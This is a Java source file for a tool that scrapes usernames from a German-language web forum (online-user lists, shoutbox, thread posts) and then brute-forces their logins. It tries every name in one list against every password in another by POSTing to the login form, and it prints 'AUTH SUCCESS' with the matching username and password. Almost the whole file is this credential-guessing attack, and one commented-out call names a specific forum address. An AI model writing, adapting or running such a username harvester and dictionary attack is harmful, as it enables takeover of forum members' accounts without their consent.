import java.io.*;
import java.net.*;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashSet;
import java.util.Iterator;
import java.util.StringTokenizer;

/*
 * History:
 * <14.02.2010		Done basic work (Connect to a URL, get source, scrape accounts from it etc.)
 * 14.02.2010 		Refactoring (created some methods like readFile, made the class more readable and general)
 */
public class Main {

	private static String ACCOUNT_FILE = "GET FROM CONSOLE";
	private static String PASSWORD_FILE = "GET FROM CONSOLE";
	private static String THREAD_FILE = "GET FROM CONSOLE";

	private static int THREAD_MAX = 250;
	private static int THREAD_CAP = 1;
	private static int PAGE_NO_CAP = 20;
	private static int SOURCE_CRAWL_CAP = 2925;
	private static int SOURCE_CRAWL_START = 450;

	public static void main(String[] args) {

		ArrayList<String> onlyNames = new ArrayList<String>();
		ArrayList<String> onlyPW = new ArrayList<String>();
		ArrayList<Account> accounts = new ArrayList<Account>();
		
		// getShoutBoxUsers(
		// "http://overhill-circle.net/forum/index.php?page=ShoutboxContent");
		//ArrayList<String> onlineUsers = getOnlineUsers("http://overhill-circle.net/forum/");
		//addToAccountListSorted(ACCOUNT_FILE, onlineUsers);
		/*
		accounts = getForumPosts();
		for(int i = 0; i < accounts.size(); i++)
		{
			onlyNames.add(accounts.get(i).getName());
		}
		writeSortedUniqueList(ACCOUNT_FILE, onlyNames);*/
		onlyNames = readFile(ACCOUNT_FILE);
		onlyPW = readFile(PASSWORD_FILE);
		
		for(int i = 0; i < onlyNames.size(); i++)
		{
			for(int j = 0; j < onlyPW.size(); j++)
			{
				authenticate(onlyNames.get(i), onlyPW.get(j));
			}
		}
	}
	
	
	
	public static URLConnection authenticate(String username, String password) {
		
		// Login credentials and path to login
		String loginForm = "GET FROM CONSOLE";
		String pw = password;
		String user = username;
		
		// POST DATA
		String data = "loginPassword=" + pw + "&loginUsername=" + user;
		URLConnection con = null;
		
		try {
			URL url = new URL(loginForm);
			con = url.openConnection();
			
			// Send the request
			con.setDoOutput(true);
			OutputStreamWriter writer = new OutputStreamWriter(con.getOutputStream());

			// write parameters
			writer.write(data);
			writer.flush();
			
			//Auth SUCCESS?
			BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));

			String decodedString;

			while ((decodedString = in.readLine()) != null) {
				if(decodedString.contains("<p>Du wurdest erfolgreich angemeldet.</p>"))
				{
					System.out.println("AUTH SUCCESS");
					System.out.println("User: " + user);
					System.out.println("Password:" + pw);
				}
			    //System.out.println(decodedString);
			}
			in.close();

		} catch (MalformedURLException ex) {
			ex.printStackTrace();
		} catch (IOException ex) {
			ex.printStackTrace();
		}
		return con;
	}

	private static ArrayList<Account> getForumPosts() {

		ArrayList<Account> result = new ArrayList<Account>();
		URLConnection conn = null;

		String basePath = "GET FROM CONSOLE?page=Thread&threadID=253";
		String pageNo = "&pageNo=";
		ArrayList<String> threadList = new ArrayList<String>();
		URL destination = null;

		// generate a list with all threads
		for (int i = 0; i < THREAD_CAP; i++) {
			threadList.add(basePath + i);
		}

		// for(int j = 0; j < threadList.size() ; j++)
		// {
		// check if each list contains information or returns 404
		try {
			destination = new URL(basePath);
			conn = destination.openConnection();
			SourceCode sc = new SourceCode(conn, SOURCE_CRAWL_START, SOURCE_CRAWL_CAP);
			
			// check if thread has more than one page
			/*if(checkPage(basePath+pageNo))
			{
				System.out.println("There are additional Pagenumbers!");
			}*/
			
			// Now you have to scrape the account data out of the code
			result = sc.scrapeDataFromSource(sc.getSourceCode());

		}catch(IOException e)
		{
			e.printStackTrace();
		}
		
		// }
		return result;
	}

	private static boolean checkPage(String url) throws IOException {

		// TODO: find method to find out if thread has more than one page
		return false;
	}

	private static void writeArrayToFile(String fileName, ArrayList<String> arrayList)
	{
		// Use BufferedWriter to write Array to File
		
		try
		{
			BufferedWriter out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fileName)));
			// read every entry from ArrayList and write it to fileName, make a newline after every entry
			for (int i = 0; i < arrayList.size(); i++) {
				out.write(arrayList.get(i));
				out.newLine();
			}
			out.close();
		}catch(IOException e)
		{
			e.printStackTrace();
		}
		System.out.println("Wrote: "+fileName);
		System.out.println("Wrote: "+arrayList.size() + " entrys");
	}

	private static ArrayList<String> getThreads() throws FileNotFoundException {
		ArrayList<String> result = new ArrayList<String>();

		String basePath = "GET FROM CONSOLEpage=Board&boardID=6364";
		ArrayList<String> threadList = new ArrayList<String>();
		ArrayList<String> threadListComplete = new ArrayList<String>();
		URL destination = null;

		// generate a list with all threads
		for (int i = 0; i < THREAD_MAX; i++) {
			threadList.add(basePath + i);
		}

		// check if each list contains information or returns 404
		for (int j = 0; j < threadList.size(); j++) {
			try {
				destination = new URL(threadList.get(j));
				Object content = destination.getContent();
				threadListComplete.add(threadList.get(j));

			} catch (MalformedURLException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
		}
		return threadListComplete;
	}


	/*
	 * INPUT:
	 * pathToFile	, full path (e.g. C:\temp.txt)
	 * OUTPUT:
	 * String list containing all entrys of the file
	 */
	private static ArrayList<String> readFile(String pathToFile) {

		ArrayList<String> outPutfile = new ArrayList<String>();

		try {
			FileReader fr = new FileReader(pathToFile);
			BufferedReader br = new BufferedReader(fr);
			String s;
			while ((s = br.readLine()) != null) {
				outPutfile.add(s);
			}
			fr.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
		System.out.println(pathToFile + " contained: "+outPutfile.size()+" entrys");
		return outPutfile;
	}

	/*
	 * INPUT: 
	 * oldListPath 	, path to oldlist file is written to this destination
	 * newList		, list containing the new accounts
	 * OUTPUT:
	 * List containing all users ordered and w/o duplicates
	 * List is written to path oldList
	 */
	private static ArrayList<String> writeSortedUniqueList(String oldListPath,
			ArrayList<String> newList) {

		ArrayList<String> oldAccountList = readFile(oldListPath);
		
		// save current list size for later calculation of new users
		int newUsers = oldAccountList.size();
		
		// if new list contains new entrys compared to old list save it to the old list
		for (int i = 0; i < newList.size(); i++) {
			// check if oldList contains the user we want to add
			if (!(oldAccountList.contains(newList.get(i)))) {
				oldAccountList.add(newList.get(i));
			}
		}
		System.out.println("new Entrys: " + ( newUsers * ( -1 ) + oldAccountList.size() ) );

		// Put into hashSet to remove Duplicates
		HashSet deletedDuplicates = new HashSet(oldAccountList);

		// Put back into ArrayList to use Sort
		ArrayList<String> orderedAndSingled = new ArrayList(deletedDuplicates);
		Collections.sort(orderedAndSingled);
		
		// Don't write to File is no new Users have been found..
		if(newUsers != oldAccountList.size())
		{
			writeArrayToFile(oldListPath, orderedAndSingled);
		}else
		{
			System.out.println("No new Users to add, did not write to File");
		}
		
		return orderedAndSingled;
	}

	private static ArrayList<String> getOnlineUsers(String url) {
		ArrayList<String> tokens = new ArrayList<String>();
		ArrayList<String> onlineUsers = new ArrayList<String>();

		tokens = getURLContentToken(url);
		Iterator iter = tokens.iterator();
		int counter = 0;
		while (iter.hasNext()) {
			String current = (String) iter.next();
			if (current.contains("href=\"index.php?page=User&amp;userID=")) {
				String toClosingTag = current;
				toClosingTag = toClosingTag.substring(37);
				// System.out.println(toClosingTag);
				String[] result = toClosingTag.split("\">");
				for (int i = 0; i < result.length; i++) {
					// System.out.println(result[1]);
					result[1].replace("&nbsp;", " ");
					String[] r = result[1].split("</a>");
					for (int j = 0; j < r.length; j++) {
						if (!(onlineUsers.contains(r[0]))) {
							onlineUsers.add(r[0]);
							counter++;
							// System.out.println("User added List: "+ r[0]+" "
							// + counter);
						}
					}
				}
			}
		}
		return onlineUsers;
	}

	private static ArrayList<String> getURLContentToken(String url) {
		ArrayList<String> result = new ArrayList<String>();
		try {
			URL destination = new URL(url);
			Object content = destination.getContent();
			String resultString = "";

			Reader r = new BufferedReader(new InputStreamReader(destination
					.openStream(), "UTF-8"));
			StreamTokenizer st = new StreamTokenizer(r);

			st.slashSlashComments(true);
			st.slashStarComments(true);
			st.ordinaryChars(-1, 128);
			while (st.nextToken() != StreamTokenizer.TT_EOF) {
				// can't use TT_WORD or TT_NUMBER here
				resultString += (char) st.ttype;
			}

			StringTokenizer stoken = new StringTokenizer(resultString);
			while (stoken.hasMoreTokens()) {
				String current = stoken.nextToken();
				result.add(current);
			}
		} catch (MalformedURLException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		return result;
	}
}
